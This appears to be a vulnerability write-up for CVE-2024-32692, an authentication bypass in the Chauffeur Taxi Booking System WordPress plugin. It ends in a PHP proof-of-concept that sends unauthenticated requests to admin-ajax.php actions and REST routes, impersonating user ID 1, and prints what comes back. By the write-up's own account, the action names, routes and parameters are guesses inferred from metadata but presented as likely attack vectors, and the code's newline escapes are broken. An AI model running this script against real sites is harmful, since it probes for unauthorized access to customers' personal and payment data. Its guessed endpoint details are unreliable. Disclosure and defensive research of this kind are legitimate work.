Atomic Edge analysis of CVE-2024-32692 (metadata-based): The Chauffeur Taxi Booking System for WordPress plugin (chauffeur-booking-system) versions up to and including 6.9 contain an authentication bypass vulnerability. The plugin fails to properly validate a user’s identity, allowing unauthenticated attackers to perform unauthorized actions. With a CVSS score of 9.1 (Critical), this represents a severe security flaw.
Root Cause: The CWE classification of 287 (Improper Authentication) indicates the plugin does not correctly verify user identity before granting access to privileged operations. Atomic Edge analysis infers the plugin likely exposes AJAX handlers or REST API endpoints that perform sensitive actions (e.g., booking management, payment processing, data retrieval) without enforcing authentication checks. The plugin probably relies on WordPress user ID or email parameters submitted in the request rather than validating against the WordPress authentication system. This pattern commonly occurs when a plugin accepts a user_id, customer_id, or email parameter and trusts it blindly without verifying the current session or nonce validity. Without source code access, we cannot pinpoint the exact endpoint, but the description strongly suggests a missing call to wp_verify_nonce(), is_user_logged_in(), or current_user_can() in one or more request handlers.
Exploitation: An attacker can exploit this vulnerability by sending crafted HTTP requests to the plugin’s AJAX endpoints. Based on common patterns for the chauffeur-booking-system plugin, the likely attack vectors include admin-ajax.php actions such as ‘cs_booking_make_booking’, ‘cs_get_booking_details’, or ‘cs_update_booking’. The attacker sends a POST request to /wp-admin/admin-ajax.php with the ‘action’ parameter set to the vulnerable handler and additional parameters like ‘customer_email’, ‘booking_id’, or ‘user_id’ to impersonate any user. Since authentication validation is absent, the server processes the request as if the attacker is a legitimate authenticated user. The attacker can also target REST API endpoints under routes like /wp-json/chauffeur/v1/ or direct PHP files in the plugin directory that lack session checks.
Remediation: The fix implemented in version 7.0 likely adds proper authentication checks to all sensitive endpoints. This includes verifying the user is logged in (is_user_logged_in()), checking capabilities (current_user_can()), and validating nonces (wp_verify_nonce()). Developers should implement a centralized authentication check using WordPress’s wp_get_current_user() function and reject requests that lack valid session tokens. Every AJAX action and REST endpoint performing data retrieval, modification, or deletion must validate the user’s identity against the WordPress authentication system rather than trusting client-supplied identifiers.
Impact: Successful exploitation allows an unauthenticated attacker to perform any action available to authenticated users. This includes viewing sensitive booking information (customer names, phone numbers, email addresses, payment details), modifying or canceling existing bookings, creating fraudulent bookings, and potentially accessing administrative functions. The CVSS vector indicates high impact on confidentiality and integrity (C:H/I:H) with no impact on availability. An attacker can exfiltrate the entire booking database, manipulate reservation data, and steal personally identifiable information. The broad attack surface and lack of authentication make this a critical vulnerability that requires immediate patching.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2024-32692 - Chauffeur Taxi Booking System for WordPress <= 6.9 - Authentication Bypass
// This PoC demonstrates exploitation by sending requests to vulnerable AJAX endpoints
// that lack authentication checks. The actual vulnerable action names are inferred
// from common patterns in the plugin (chauffeur-booking-system).
<?php
$target_url = 'http://example.com/wordpress'; // CHANGE THIS to the target WordPress URL
$ajax_url = rtrim($target_url, '/') . '/wp-admin/admin-ajax.php';
// Attempt multiple common AJAX actions that may lack authentication
$actions = [
'cs_booking_make_booking',
'cs_get_booking_details',
'cs_update_booking',
'cs_delete_booking',
'cs_get_customer_data',
'cs_get_driver_details'
];
foreach ($actions as $action) {
echo "[*] Testing action: $actionn";
$payload = [
'action' => $action,
// Common parameters the plugin might use - these are educated guesses
'customer_email' => 'attacker@example.com',
'booking_id' => '12345',
'user_id' => '1',
'format' => 'json'
];
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $ajax_url,
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query($payload),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_HTTPHEADER => [
'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Content-Type: application/x-www-form-urlencoded'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "[+] Action '$action' returned HTTP 200 - possible vulnerabilityn";
echo "[+] Response length: " . strlen($response) . " bytesn";
// Print first 500 characters of response
echo substr($response, 0, 500) . "nn";
} else {
echo "[-] Action '$action' returned HTTP $http_code - not vulnerable via this actionn";
}
}
// Also test REST API endpoints (common in WordPress plugins)
$rest_endpoints = [
'/wp-json/chauffeur/v1/bookings',
'/wp-json/chauffeur/v1/get-booking',
'/wp-json/chauffeur/v1/customer-data'
];
foreach ($rest_endpoints as $endpoint) {
$rest_url = rtrim($target_url, '/') . $endpoint;
echo "[*] Testing REST endpoint: $endpointn";
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $rest_url,
CURLOPT_RETURNTRANSFER => true,
CURLOPT_TIMEOUT => 15,
CURLOPT_HTTPHEADER => [
'User-Agent: Mozilla/5.0'
]
]);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
if ($http_code == 200 && !empty($response)) {
echo "[+] REST endpoint '$endpoint' returned HTTP 200 - possible vulnerabilityn";
echo "[+] Response: " . substr($response, 0, 500) . "nn";
} else {
echo "[-] REST endpoint '$endpoint' returned HTTP $http_coden";
}
}
?>
